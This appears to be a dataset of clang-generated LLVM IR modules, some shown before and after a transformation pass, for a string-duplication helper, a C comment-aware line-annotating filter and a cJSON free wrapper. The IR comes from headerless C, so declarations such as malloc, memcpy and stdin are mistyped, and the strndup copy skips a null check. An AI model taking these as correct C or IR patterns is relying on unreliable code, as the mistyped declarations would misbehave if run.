; ModuleID = '<stdin>' source_filename = "/tmp/tmpcnizy64i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @oc_strndup(ptr noundef %0, i32 noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 %6 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store i32 %1, ptr %5, align 4 %7 = load i32, ptr %5, align 4 %8 = icmp slt i32 %7, 0 br i1 %8, label %9, label %10 9: ; preds = %2 store ptr null, ptr %3, align 8 br label %31 10: ; preds = %2 %11 = load i32, ptr %5, align 4 %12 = add nsw i32 %11, 1 %13 = sext i32 %12 to i64 %14 = mul i64 1, %13 %15 = trunc i64 %14 to i32 %16 = call i64 @malloc(i32 noundef %15) %17 = inttoptr i64 %16 to ptr store ptr %17, ptr %6, align 8 %18 = load ptr, ptr %4, align 8 %19 = icmp ne ptr %18, null br i1 %19, label %21, label %20 20: ; preds = %10 store ptr null, ptr %3, align 8 br label %31 21: ; preds = %10 %22 = load ptr, ptr %6, align 8 %23 = load ptr, ptr %4, align 8 %24 = load i32, ptr %5, align 4 %25 = call i32 @memcpy(ptr noundef %22, ptr noundef %23, i32 noundef %24) %26 = load ptr, ptr %6, align 8 %27 = load i32, ptr %5, align 4 %28 = sext i32 %27 to i64 %29 = getelementptr inbounds i8, ptr %26, i64 %28 store i8 0, ptr %29, align 1 %30 = load ptr, ptr %6, align 8 store ptr %30, ptr %3, align 8 br label %31 31: ; preds = %21, %20, %9 %32 = load ptr, ptr %3, align 8 ret ptr %32 } declare i64 @malloc(i32 noundef) #1 declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp1m3i12nj.c' source_filename = "/tmp/tmp1m3i12nj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdin = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [6 x i8] c" //%d\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 store i32 0, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %5, align 4 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 store i32 0, ptr %11, align 4 store i32 0, ptr %12, align 4 store i32 0, ptr %13, align 4 br label %16 16: ; preds = %216, %0 %17 = call i32 (...) @getchar() store i32 %17, ptr %2, align 4 %18 = icmp ne i32 %17, -1 br i1 %18, label %19, label %217 19: ; preds = %16 %20 = call i32 (...) @getchar() store i32 %20, ptr %14, align 4 %21 = load i32, ptr %2, align 4 %22 = icmp eq i32 %21, 92 br i1 %22, label %23, label %31 23: ; preds = %19 %24 = load i32, ptr %14, align 4 %25 = icmp eq i32 %24, 10 br i1 %25, label %26, label %31 26: ; preds = %23 %27 = load i32, ptr %2, align 4 %28 = call i32 @putchar(i32 noundef %27) %29 = load i32, ptr %14, align 4 %30 = call i32 @putchar(i32 noundef %29) br label %216 31: ; preds = %23, %19 %32 = load i32, ptr %14, align 4 %33 = load i32, ptr @stdin, align 4 %34 = call i32 @ungetc(i32 noundef %32, i32 noundef %33) store i32 0, ptr %15, align 4 %35 = load i32, ptr %4, align 4 %36 = icmp eq i32 %35, 47 br i1 %36, label %37, label %51 37: ; preds = %31 %38 = load i32, ptr %2, align 4 %39 = icmp eq i32 %38, 42 br i1 %39, label %40, label %51 40: ; preds = %37 %41 = load i32, ptr %5, align 4 %42 = icmp ne i32 %41, 0 br i1 %42, label %51, label %43 43: ; preds = %40 %44 = load i32, ptr %6, align 4 %45 = icmp ne i32 %44, 0 br i1 %45, label %51, label %46 46: ; preds = %43 %47 = load i32, ptr %7, align 4 %48 = icmp ne i32 %47, 0 br i1 %48, label %51, label %49 49: ; preds = %46 store i32 1, ptr %8, align 4 %50 = load i32, ptr %10, align 4 store i32 %50, ptr %9, align 4 br label %119 51: ; preds = %46, %43, %40, %37, %31 %52 = load i32, ptr %4, align 4 %53 = icmp eq i32 %52, 42 br i1 %53, label %54, label %58 54: ; preds = %51 %55 = load i32, ptr %2, align 4 %56 = icmp eq i32 %55, 47 br i1 %56, label %57, label %58 57: ; preds = %54 store i32 0, ptr %8, align 4 store i32 1, ptr %15, align 4 br label %118 58: ; preds = %54, %51 %59 = load i32, ptr %4, align 4 %60 = icmp eq i32 %59, 47 br i1 %60, label %61, label %75 61: ; preds = %58 %62 = load i32, ptr %2, align 4 %63 = icmp eq i32 %62, 47 br i1 %63, label %64, label %75 64: ; preds = %61 %65 = load i32, ptr %5, align 4 %66 = icmp ne i32 %65, 0 br i1 %66, label %75, label %67 67: ; preds = %64 %68 = load i32, ptr %6, align 4 %69 = icmp ne i32 %68, 0 br i1 %69, label %75, label %70 70: ; preds = %67 %71 = load i32, ptr %8, align 4 %72 = icmp ne i32 %71, 0 br i1 %72, label %75, label %73 73: ; preds = %70 store i32 1, ptr %7, align 4 %74 = load i32, ptr %10, align 4 store i32 %74, ptr %9, align 4 br label %117 75: ; preds = %70, %67, %64, %61, %58 %76 = load i32, ptr %2, align 4 %77 = icmp eq i32 %76, 34 br i1 %77, label %78, label %95 78: ; preds = %75 %79 = load i32, ptr %6, align 4 %80 = icmp ne i32 %79, 0 br i1 %80, label %95, label %81 81: ; preds = %78 %82 = load i32, ptr %8, align 4 %83 = icmp ne i32 %82, 0 br i1 %83, label %95, label %84 84: ; preds = %81 %85 = load i32, ptr %7, align 4 %86 = icmp ne i32 %85, 0 br i1 %86, label %95, label %87 87: ; preds = %84 %88 = load i32, ptr %11, align 4 %89 = icmp ne i32 %88, 0 br i1 %89, label %95, label %90 90: ; preds = %87 %91 = load i32, ptr %5, align 4 %92 = icmp ne i32 %91, 0 %93 = xor i1 %92, true %94 = zext i1 %93 to i32 store i32 %94, ptr %5, align 4 br label %116 95: ; preds = %87, %84, %81, %78, %75 %96 = load i32, ptr %2, align 4 %97 = icmp eq i32 %96, 39 br i1 %97, label %98, label %115 98: ; preds = %95 %99 = load i32, ptr %5, align 4 %100 = icmp ne i32 %99, 0 br i1 %100, label %115, label %101 101: ; preds = %98 %102 = load i32, ptr %8, align 4 %103 = icmp ne i32 %102, 0 br i1 %103, label %115, label %104 104: ; preds = %101 %105 = load i32, ptr %7, align 4 %106 = icmp ne i32 %105, 0 br i1 %106, label %115, label %107 107: ; preds = %104 %108 = load i32, ptr %11, align 4 %109 = icmp ne i32 %108, 0 br i1 %109, label %115, label %110 110: ; preds = %107 %111 = load i32, ptr %6, align 4 %112 = icmp ne i32 %111, 0 %113 = xor i1 %112, true %114 = zext i1 %113 to i32 store i32 %114, ptr %6, align 4 br label %115 115: ; preds = %110, %107, %104, %101, %98, %95 br label %116 116: ; preds = %115, %90 br label %117 117: ; preds = %116, %73 br label %118 118: ; preds = %117, %57 br label %119 119: ; preds = %118, %49 %120 = load i32, ptr %2, align 4 %121 = icmp eq i32 %120, 92 br i1 %121, label %122, label %127 122: ; preds = %119 %123 = load i32, ptr %11, align 4 %124 = icmp ne i32 %123, 0 %125 = xor i1 %124, true %126 = zext i1 %125 to i32 store i32 %126, ptr %11, align 4 br label %128 127: ; preds = %119 store i32 0, ptr %11, align 4 br label %128 128: ; preds = %127, %122 %129 = load i32, ptr %9, align 4 store i32 %129, ptr %10, align 4 %130 = load i32, ptr %2, align 4 store i32 %130, ptr %4, align 4 %131 = load i32, ptr %2, align 4 %132 = icmp ne i32 %131, 123 br i1 %132, label %133, label %150 133: ; preds = %128 %134 = load i32, ptr %2, align 4 %135 = icmp ne i32 %134, 125 br i1 %135, label %136, label %150 136: ; preds = %133 %137 = load i32, ptr %2, align 4 %138 = call i32 @isspace(i32 noundef %137) #3 %139 = icmp ne i32 %138, 0 br i1 %139, label %150, label %140 140: ; preds = %136 %141 = load i32, ptr %8, align 4 %142 = icmp ne i32 %141, 0 br i1 %142, label %150, label %143 143: ; preds = %140 %144 = load i32, ptr %7, align 4 %145 = icmp ne i32 %144, 0 br i1 %145, label %150, label %146 146: ; preds = %143 %147 = load i32, ptr %15, align 4 %148 = icmp ne i32 %147, 0 br i1 %148, label %150, label %149 149: ; preds = %146 store i32 1, ptr %9, align 4 br label %150 150: ; preds = %149, %146, %143, %140, %136, %133, %128 %151 = load i32, ptr %2, align 4 %152 = icmp eq i32 %151, 101 br i1 %152, label %153, label %166 153: ; preds = %150 %154 = load i32, ptr %13, align 4 %155 = icmp eq i32 %154, 0 br i1 %155, label %156, label %166 156: ; preds = %153 %157 = load i32, ptr %8, align 4 %158 = icmp ne i32 %157, 0 br i1 %158, label %166, label %159 159: ; preds = %156 %160 = load i32, ptr %7, align 4 %161 = icmp ne i32 %160, 0 br i1 %161, label %166, label %162 162: ; preds = %159 %163 = load i32, ptr %10, align 4 store i32 %163, ptr %12, align 4 %164 = load i32, ptr %13, align 4 %165 = add nsw i32 %164, 1 store i32 %165, ptr %13, align 4 br label %196 166: ; preds = %159, %156, %153, %150 %167 = load i32, ptr %2, align 4 %168 = icmp eq i32 %167, 108 br i1 %168, label %169, label %175 169: ; preds = %166 %170 = load i32, ptr %13, align 4 %171 = icmp eq i32 %170, 1 br i1 %171, label %172, label %175 172: ; preds = %169 %173 = load i32, ptr %13, align 4 %174 = add nsw i32 %173, 1 store i32 %174, ptr %13, align 4 br label %195 175: ; preds = %169, %166 %176 = load i32, ptr %2, align 4 %177 = icmp eq i32 %176, 115 br i1 %177, label %178, label %184 178: ; preds = %175 %179 = load i32, ptr %13, align 4 %180 = icmp eq i32 %179, 2 br i1 %180, label %181, label %184 181: ; preds = %178 %182 = load i32, ptr %13, align 4 %183 = add nsw i32 %182, 1 store i32 %183, ptr %13, align 4 br label %194 184: ; preds = %178, %175 %185 = load i32, ptr %2, align 4 %186 = icmp eq i32 %185, 101 br i1 %186, label %187, label %192 187: ; preds = %184 %188 = load i32, ptr %13, align 4 %189 = icmp eq i32 %188, 3 br i1 %189, label %190, label %192 190: ; preds = %187 %191 = load i32, ptr %12, align 4 store i32 %191, ptr %9, align 4 store i32 0, ptr %13, align 4 br label %193 192: ; preds = %187, %184 store i32 0, ptr %13, align 4 br label %193 193: ; preds = %192, %190 br label %194 194: ; preds = %193, %181 br label %195 195: ; preds = %194, %172 br label %196 196: ; preds = %195, %162 %197 = load i32, ptr %2, align 4 %198 = icmp eq i32 %197, 10 br i1 %198, label %199, label %209 199: ; preds = %196 %200 = load i32, ptr %9, align 4 %201 = icmp ne i32 %200, 0 br i1 %201, label %202, label %209 202: ; preds = %199 %203 = load i32, ptr %8, align 4 %204 = icmp ne i32 %203, 0 br i1 %204, label %209, label %205 205: ; preds = %202 %206 = load i32, ptr %3, align 4 %207 = add nsw i32 %206, 1 store i32 %207, ptr %3, align 4 %208 = call i32 @printf(ptr noundef @.str, i32 noundef %207) store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %12, align 4 br label %209 209: ; preds = %205, %202, %199, %196 %210 = load i32, ptr %2, align 4 %211 = icmp eq i32 %210, 10 br i1 %211, label %212, label %213 212: ; preds = %209 store i32 0, ptr %7, align 4 br label %213 213: ; preds = %212, %209 %214 = load i32, ptr %2, align 4 %215 = call i32 @putchar(i32 noundef %214) br label %216 216: ; preds = %213, %26 br label %16, !llvm.loop !6 217: ; preds = %16 ret i32 0 } declare i32 @getchar(...) #1 declare i32 @putchar(i32 noundef) #1 declare i32 @ungetc(i32 noundef, i32 noundef) #1 ; Function Attrs: nounwind willreturn memory(read) declare i32 @isspace(i32 noundef) #2 declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind willreturn memory(read) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp1m3i12nj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @stdin = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [6 x i8] c" //%d\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 %9 = alloca i32, align 4 %10 = alloca i32, align 4 %11 = alloca i32, align 4 %12 = alloca i32, align 4 %13 = alloca i32, align 4 %14 = alloca i32, align 4 %15 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 0, ptr %2, align 4 store i32 0, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %5, align 4 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 store i32 0, ptr %8, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 store i32 0, ptr %11, align 4 store i32 0, ptr %12, align 4 store i32 0, ptr %13, align 4 %16 = call i32 (...) @getchar() store i32 %16, ptr %2, align 4 %17 = icmp ne i32 %16, -1 br i1 %17, label %.lr.ph, label %218 .lr.ph: ; preds = %0 br label %18 18: ; preds = %.lr.ph, %215 %19 = call i32 (...) @getchar() store i32 %19, ptr %14, align 4 %20 = load i32, ptr %2, align 4 %21 = icmp eq i32 %20, 92 br i1 %21, label %22, label %30 22: ; preds = %18 %23 = load i32, ptr %14, align 4 %24 = icmp eq i32 %23, 10 br i1 %24, label %25, label %30 25: ; preds = %22 %26 = load i32, ptr %2, align 4 %27 = call i32 @putchar(i32 noundef %26) %28 = load i32, ptr %14, align 4 %29 = call i32 @putchar(i32 noundef %28) br label %215 30: ; preds = %22, %18 %31 = load i32, ptr %14, align 4 %32 = load i32, ptr @stdin, align 4 %33 = call i32 @ungetc(i32 noundef %31, i32 noundef %32) store i32 0, ptr %15, align 4 %34 = load i32, ptr %4, align 4 %35 = icmp eq i32 %34, 47 br i1 %35, label %36, label %50 36: ; preds = %30 %37 = load i32, ptr %2, align 4 %38 = icmp eq i32 %37, 42 br i1 %38, label %39, label %50 39: ; preds = %36 %40 = load i32, ptr %5, align 4 %41 = icmp ne i32 %40, 0 br i1 %41, label %50, label %42 42: ; preds = %39 %43 = load i32, ptr %6, align 4 %44 = icmp ne i32 %43, 0 br i1 %44, label %50, label %45 45: ; preds = %42 %46 = load i32, ptr %7, align 4 %47 = icmp ne i32 %46, 0 br i1 %47, label %50, label %48 48: ; preds = %45 store i32 1, ptr %8, align 4 %49 = load i32, ptr %10, align 4 store i32 %49, ptr %9, align 4 br label %118 50: ; preds = %45, %42, %39, %36, %30 %51 = load i32, ptr %4, align 4 %52 = icmp eq i32 %51, 42 br i1 %52, label %53, label %57 53: ; preds = %50 %54 = load i32, ptr %2, align 4 %55 = icmp eq i32 %54, 47 br i1 %55, label %56, label %57 56: ; preds = %53 store i32 0, ptr %8, align 4 store i32 1, ptr %15, align 4 br label %117 57: ; preds = %53, %50 %58 = load i32, ptr %4, align 4 %59 = icmp eq i32 %58, 47 br i1 %59, label %60, label %74 60: ; preds = %57 %61 = load i32, ptr %2, align 4 %62 = icmp eq i32 %61, 47 br i1 %62, label %63, label %74 63: ; preds = %60 %64 = load i32, ptr %5, align 4 %65 = icmp ne i32 %64, 0 br i1 %65, label %74, label %66 66: ; preds = %63 %67 = load i32, ptr %6, align 4 %68 = icmp ne i32 %67, 0 br i1 %68, label %74, label %69 69: ; preds = %66 %70 = load i32, ptr %8, align 4 %71 = icmp ne i32 %70, 0 br i1 %71, label %74, label %72 72: ; preds = %69 store i32 1, ptr %7, align 4 %73 = load i32, ptr %10, align 4 store i32 %73, ptr %9, align 4 br label %116 74: ; preds = %69, %66, %63, %60, %57 %75 = load i32, ptr %2, align 4 %76 = icmp eq i32 %75, 34 br i1 %76, label %77, label %94 77: ; preds = %74 %78 = load i32, ptr %6, align 4 %79 = icmp ne i32 %78, 0 br i1 %79, label %94, label %80 80: ; preds = %77 %81 = load i32, ptr %8, align 4 %82 = icmp ne i32 %81, 0 br i1 %82, label %94, label %83 83: ; preds = %80 %84 = load i32, ptr %7, align 4 %85 = icmp ne i32 %84, 0 br i1 %85, label %94, label %86 86: ; preds = %83 %87 = load i32, ptr %11, align 4 %88 = icmp ne i32 %87, 0 br i1 %88, label %94, label %89 89: ; preds = %86 %90 = load i32, ptr %5, align 4 %91 = icmp ne i32 %90, 0 %92 = xor i1 %91, true %93 = zext i1 %92 to i32 store i32 %93, ptr %5, align 4 br label %115 94: ; preds = %86, %83, %80, %77, %74 %95 = load i32, ptr %2, align 4 %96 = icmp eq i32 %95, 39 br i1 %96, label %97, label %114 97: ; preds = %94 %98 = load i32, ptr %5, align 4 %99 = icmp ne i32 %98, 0 br i1 %99, label %114, label %100 100: ; preds = %97 %101 = load i32, ptr %8, align 4 %102 = icmp ne i32 %101, 0 br i1 %102, label %114, label %103 103: ; preds = %100 %104 = load i32, ptr %7, align 4 %105 = icmp ne i32 %104, 0 br i1 %105, label %114, label %106 106: ; preds = %103 %107 = load i32, ptr %11, align 4 %108 = icmp ne i32 %107, 0 br i1 %108, label %114, label %109 109: ; preds = %106 %110 = load i32, ptr %6, align 4 %111 = icmp ne i32 %110, 0 %112 = xor i1 %111, true %113 = zext i1 %112 to i32 store i32 %113, ptr %6, align 4 br label %114 114: ; preds = %109, %106, %103, %100, %97, %94 br label %115 115: ; preds = %114, %89 br label %116 116: ; preds = %115, %72 br label %117 117: ; preds = %116, %56 br label %118 118: ; preds = %117, %48 %119 = load i32, ptr %2, align 4 %120 = icmp eq i32 %119, 92 br i1 %120, label %121, label %126 121: ; preds = %118 %122 = load i32, ptr %11, align 4 %123 = icmp ne i32 %122, 0 %124 = xor i1 %123, true %125 = zext i1 %124 to i32 store i32 %125, ptr %11, align 4 br label %127 126: ; preds = %118 store i32 0, ptr %11, align 4 br label %127 127: ; preds = %126, %121 %128 = load i32, ptr %9, align 4 store i32 %128, ptr %10, align 4 %129 = load i32, ptr %2, align 4 store i32 %129, ptr %4, align 4 %130 = load i32, ptr %2, align 4 %131 = icmp ne i32 %130, 123 br i1 %131, label %132, label %149 132: ; preds = %127 %133 = load i32, ptr %2, align 4 %134 = icmp ne i32 %133, 125 br i1 %134, label %135, label %149 135: ; preds = %132 %136 = load i32, ptr %2, align 4 %137 = call i32 @isspace(i32 noundef %136) #3 %138 = icmp ne i32 %137, 0 br i1 %138, label %149, label %139 139: ; preds = %135 %140 = load i32, ptr %8, align 4 %141 = icmp ne i32 %140, 0 br i1 %141, label %149, label %142 142: ; preds = %139 %143 = load i32, ptr %7, align 4 %144 = icmp ne i32 %143, 0 br i1 %144, label %149, label %145 145: ; preds = %142 %146 = load i32, ptr %15, align 4 %147 = icmp ne i32 %146, 0 br i1 %147, label %149, label %148 148: ; preds = %145 store i32 1, ptr %9, align 4 br label %149 149: ; preds = %148, %145, %142, %139, %135, %132, %127 %150 = load i32, ptr %2, align 4 %151 = icmp eq i32 %150, 101 br i1 %151, label %152, label %165 152: ; preds = %149 %153 = load i32, ptr %13, align 4 %154 = icmp eq i32 %153, 0 br i1 %154, label %155, label %165 155: ; preds = %152 %156 = load i32, ptr %8, align 4 %157 = icmp ne i32 %156, 0 br i1 %157, label %165, label %158 158: ; preds = %155 %159 = load i32, ptr %7, align 4 %160 = icmp ne i32 %159, 0 br i1 %160, label %165, label %161 161: ; preds = %158 %162 = load i32, ptr %10, align 4 store i32 %162, ptr %12, align 4 %163 = load i32, ptr %13, align 4 %164 = add nsw i32 %163, 1 store i32 %164, ptr %13, align 4 br label %195 165: ; preds = %158, %155, %152, %149 %166 = load i32, ptr %2, align 4 %167 = icmp eq i32 %166, 108 br i1 %167, label %168, label %174 168: ; preds = %165 %169 = load i32, ptr %13, align 4 %170 = icmp eq i32 %169, 1 br i1 %170, label %171, label %174 171: ; preds = %168 %172 = load i32, ptr %13, align 4 %173 = add nsw i32 %172, 1 store i32 %173, ptr %13, align 4 br label %194 174: ; preds = %168, %165 %175 = load i32, ptr %2, align 4 %176 = icmp eq i32 %175, 115 br i1 %176, label %177, label %183 177: ; preds = %174 %178 = load i32, ptr %13, align 4 %179 = icmp eq i32 %178, 2 br i1 %179, label %180, label %183 180: ; preds = %177 %181 = load i32, ptr %13, align 4 %182 = add nsw i32 %181, 1 store i32 %182, ptr %13, align 4 br label %193 183: ; preds = %177, %174 %184 = load i32, ptr %2, align 4 %185 = icmp eq i32 %184, 101 br i1 %185, label %186, label %191 186: ; preds = %183 %187 = load i32, ptr %13, align 4 %188 = icmp eq i32 %187, 3 br i1 %188, label %189, label %191 189: ; preds = %186 %190 = load i32, ptr %12, align 4 store i32 %190, ptr %9, align 4 store i32 0, ptr %13, align 4 br label %192 191: ; preds = %186, %183 store i32 0, ptr %13, align 4 br label %192 192: ; preds = %191, %189 br label %193 193: ; preds = %192, %180 br label %194 194: ; preds = %193, %171 br label %195 195: ; preds = %194, %161 %196 = load i32, ptr %2, align 4 %197 = icmp eq i32 %196, 10 br i1 %197, label %198, label %208 198: ; preds = %195 %199 = load i32, ptr %9, align 4 %200 = icmp ne i32 %199, 0 br i1 %200, label %201, label %208 201: ; preds = %198 %202 = load i32, ptr %8, align 4 %203 = icmp ne i32 %202, 0 br i1 %203, label %208, label %204 204: ; preds = %201 %205 = load i32, ptr %3, align 4 %206 = add nsw i32 %205, 1 store i32 %206, ptr %3, align 4 %207 = call i32 @printf(ptr noundef @.str, i32 noundef %206) store i32 0, ptr %9, align 4 store i32 0, ptr %10, align 4 store i32 0, ptr %9, align 4 store i32 0, ptr %12, align 4 br label %208 208: ; preds = %204, %201, %198, %195 %209 = load i32, ptr %2, align 4 %210 = icmp eq i32 %209, 10 br i1 %210, label %211, label %212 211: ; preds = %208 store i32 0, ptr %7, align 4 br label %212 212: ; preds = %211, %208 %213 = load i32, ptr %2, align 4 %214 = call i32 @putchar(i32 noundef %213) br label %215 215: ; preds = %212, %25 %216 = call i32 (...) @getchar() store i32 %216, ptr %2, align 4 %217 = icmp ne i32 %216, -1 br i1 %217, label %18, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %215 br label %218 218: ; preds = %._crit_edge, %0 ret i32 0 } declare i32 @getchar(...) #1 declare i32 @putchar(i32 noundef) #1 declare i32 @ungetc(i32 noundef, i32 noundef) #1 ; Function Attrs: nounwind willreturn memory(read) declare i32 @isspace(i32 noundef) #2 declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind willreturn memory(read) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpc4kswy8z.c' source_filename = "/tmp/tmpc4kswy8z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cJSON_DeleteBSON(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @cJSON_free(ptr noundef %3) ret void } declare i32 @cJSON_free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpc4kswy8z.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @cJSON_DeleteBSON(ptr noundef %0) #0 { %2 = alloca ptr, align 8 store ptr %0, ptr %2, align 8 %3 = load ptr, ptr %2, align 8 %4 = call i32 @cJSON_free(ptr noundef %3) ret void } declare i32 @cJSON_free(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
